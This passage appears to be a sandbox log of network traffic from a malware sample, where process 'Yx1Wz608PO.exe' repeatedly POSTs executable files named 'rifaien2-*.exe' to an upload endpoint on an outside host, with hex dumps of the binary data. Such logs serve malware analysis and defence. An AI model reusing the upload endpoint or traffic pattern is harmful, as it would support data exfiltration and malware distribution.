Oct 10, 2024 21:01:40.412545919 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:01:40.412570953 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:01:40.412596941 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:01:40.412656069 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:01:40.828053951 CEST	811	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:40 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:40 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6O6qP4Ifum3FGoep81FgOn3gJ2IthaC7HhHeDLJBjCaDHqLtchn6K6ezzi3Uuu0X1YVvEqIi7ywBgiORrRKzmGUgg6K0bIzafaGgHkvlGgEjAZKUUp6Z8g0Gjdn0xvxvyq%2B5mysS9Pk%2FPg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dc3f5a4e0f51-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49763	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:41.178270102 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------e8a8d9d8a8cb5e05
Oct 10, 2024 21:01:41.633667946 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:41.635356903 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 65 38 61 38 64 39 64 38 61 38 63 62 35 65 30 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------e8a8d9d8a8cb5e05Content-Disposition: form-data; name="file[]"; filename="rifaien2-XK86MMSGqdyh0W5j.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:41.635540962 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:41.640502930 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:41.640624046 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:01:41.640674114 CEST	4944	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:41.640748978 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:01:41.640794039 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:01:41.640826941 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:01:41.640856028 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:01:41.640882969 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:01:41.946290970 CEST	819	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:41 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:41 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QIeOP1jE%2Fen9ki%2FLeu4h7TC6nuYAAAVAYwFlaw4cwPsLABeRMcHTIYTaT4lwx7qjdQn1qMVll4NSK9m3cVu7wqEnFf70RT5A9qX0S1B%2BjGAoPgPoEpVOfelCwZ%2Bmh4gUHP5Qu%2F1J%2BlkkEg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dc470ee14357-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49764	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:42.089998007 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------936634186fc1722e
Oct 10, 2024 21:01:42.555568933 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:42.556560993 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 39 33 36 36 33 34 31 38 36 66 63 31 37 32 32 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------936634186fc1722eContent-Disposition: form-data; name="file[]"; filename="rifaien2-COs3jWZ0Jp7WCrwG.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:42.556896925 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:42.562170982 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:42.562170982 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:42.562267065 CEST	4944	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:01:42.562304974 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:01:42.562336922 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:01:42.562381029 CEST	4944	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:01:42.566886902 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:01:42.567565918 CEST	7416	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:01:42.878984928 CEST	817	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:42 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:42 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ANPysjPZivY9ow0VIaTujnV4%2BK0isyKLqe0JLfsOTDLLjHhMUkWd5G2MfZ%2FONZ31AIm1Bk%2B4D7kjGSQGFuRaJWcOdrocB9wJcE9yQuBPOYWk%2FMc2Cxu8mb6EMUK5rO2uM%2F17YPSSmyCRxw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dc4cc90b0cb0-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49765	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:43.026442051 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------e7548d2706a79244
Oct 10, 2024 21:01:43.500267029 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:43.585522890 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 65 37 35 34 38 64 32 37 30 36 61 37 39 32 34 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------e7548d2706a79244Content-Disposition: form-data; name="file[]"; filename="rifaien2-TYDJ5mBBlE7fOmsC.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:43.585869074 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:43.591237068 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:43.591296911 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:01:43.591425896 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:43.591476917 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:01:43.591626883 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:01:43.591651917 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:01:43.591722012 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:01:43.595643997 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:01:43.910115957 CEST	821	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:43 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:43 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IvDy%2BagUpeoqC6HqcooUS3deJEuT2bJup%2Bhxhe7NUYVHzzF%2FFs1nLggcfvtonVq8n6Lvgt6glR%2FASiPCMRM5FMNBwW5LgSTQ89CbCkXw8TzQMR%2FnT7JgHUC%2BY8m%2F2vR300aVM9cnC0BqXw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dc52a8b07cb1-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 